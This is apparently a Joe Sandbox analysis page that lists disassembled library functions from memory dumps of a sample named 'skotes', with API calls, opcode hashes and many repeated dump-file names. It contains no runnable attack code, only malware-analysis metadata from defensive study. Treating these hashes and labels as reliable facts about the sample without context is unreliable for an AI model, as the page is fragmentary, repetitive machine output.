Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 3d4d52e5f76ba8b0261ce0354c44c00c8792f4207271ebf9b39b7fe0705ad469
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: ECB115B2D042459FDB11CF68C841FAEBFA5EF46340F14856EE459EB382D6348D41CB62

Function 009D67A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 009D6902
__alloca_probe_16.LIBCMT ref: 009D6998
__freea.LIBCMT ref: 009D6A03
__freea.LIBCMT ref: 009D6A0F

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: af5f6e14b8679821518db2e3bde9bcfec7c7808eeeaace9d40ee3aeb8a5b3d07
Instruction ID: 661e9595404a1f648c0067d4e73dbe19d6f7427537161dec64994f341d76351c
Opcode Fuzzy Hash: af5f6e14b8679821518db2e3bde9bcfec7c7808eeeaace9d40ee3aeb8a5b3d07
Instruction Fuzzy Hash: B181CF72D8025A9BDF209EA88891FEE7BB99F49314F19C05BE844B7341E735CC04DBA1

Function 009C504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 009C5115
___AdjustPointer.LIBCMT ref: 009C5138
___AdjustPointer.LIBCMT ref: 009C51D4

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 570def88ca8c9966c6693e954ba1cdcdccd110ab9e9e6e1d824d3a43de62823d
Instruction ID: a334554aba5d4d882d966c7e8654192685e537062b8faabe2e01dd3b88fc8043
Opcode Fuzzy Hash: 570def88ca8c9966c6693e954ba1cdcdccd110ab9e9e6e1d824d3a43de62823d
Instruction Fuzzy Hash: C251E371E09A06AFDB258F14D895F7A73A8EF50300F1A852DE806872A1E731FDC0C792

Function 009C4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 009C4C66
TypeidsEqual.LIBVCRUNTIME ref: 009C4C8B
PMDtoOffset.LIBCMT ref: 009C4CA1
PMDtoOffset.LIBCMT ref: 009C4D22

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: 4b0070f3cf0050405a1d9e0d6cec45d4d2a5f3114cd3e7fdb6dc145b91b80dd4
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: 6D517A35E042099FCF11DF68C4A0BEEBBF8EF15354B14449EE852A73A1D732A9458B52

Function 00992EC0 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00992F5F
GetCurrentThreadId.KERNEL32 ref: 00992F7E
__Mtx_unlock.LIBCPMT ref: 00992FCC
__Cnd_broadcast.LIBCPMT ref: 00992FE3

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: cc1393c58aed813b5e53c7bbed0a914589295574b81557fc7d44c55a94b929a4
Instruction ID: 75566ee7813410d832095701235acd0228efe05b0f81d8b4b9393834721d7f52
Opcode Fuzzy Hash: cc1393c58aed813b5e53c7bbed0a914589295574b81557fc7d44c55a94b929a4
Instruction Fuzzy Hash: 7A41DEB0A01605AFDB20DF68C944B5AB7F8FF15324F008529E826DB781EB35EA04CBD1

Function 009BDB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 009BDB64

Part of subcall function 009B8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 009B8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 009BDBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 009BDBE9
Concurrency::location::_Assign.LIBCMT ref: 009BDC56

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: f5c1a49d47047021ff95c3ad1e505fa08098218480353889c570314cd0765f03
Instruction ID: 793301aa875987cb86683669e45af132a596d930c1d6e690bcadb9e756eb1ea3
Opcode Fuzzy Hash: f5c1a49d47047021ff95c3ad1e505fa08098218480353889c570314cd0765f03
Instruction Fuzzy Hash: AD412070605210ABCF19AB24C986BFEBB79AF85330F10409DE5469B3C2DBB4AD45C7D0

Function 009B56AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 009B56F2
_InternalDeleteHelper.LIBCONCRT ref: 009B5726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 009B578B
SafeRWList.LIBCONCRT ref: 009B579A

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
